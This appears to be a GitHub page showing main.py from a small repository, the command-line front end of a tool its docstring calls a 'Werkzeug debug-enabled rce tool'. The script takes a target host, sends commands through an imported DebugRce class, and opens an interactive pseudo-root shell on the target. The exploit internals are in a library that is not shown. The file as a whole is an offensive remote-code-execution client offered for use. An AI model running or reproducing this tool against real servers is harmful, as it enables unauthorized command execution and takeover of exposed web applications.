-
-
Notifications
You must be signed in to change notification settings - Fork 1
/
main.py
36 lines (30 loc) · 889 Bytes
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#!/usr/bin/env python
'''Werkzeug debug-enabled rce tool'''
from argparse import ArgumentParser
from sys import exit as sysexit
from lib.werkzeug_rce import DebugRce
if __name__ == '__main__':
parser = ArgumentParser(description='Werkzeug RCE tool by 0x08')
parser.add_argument('-t', '--host', type=str,
required=True, help='Target host to test')
parser.add_argument('-c', '--cmd', type=str, help='Cmd to inject')
args = parser.parse_args()
d = DebugRce(args.host)
if args.cmd:
if args.cmd == 'clear':
print("\033[H\033[J", end="")
for line in d.exec(args.cmd):
print(line)
while True:
try:
cmd = input(f'root@{args.host}:~$ ')
if cmd == 'clear':
print("\033[H\033[J", end="")
elif cmd == 'exit':
print('\nQuitting!')
sysexit()
for line in d.exec(cmd):
print(line)
except KeyboardInterrupt:
print('\nQuitting!')
sysexit()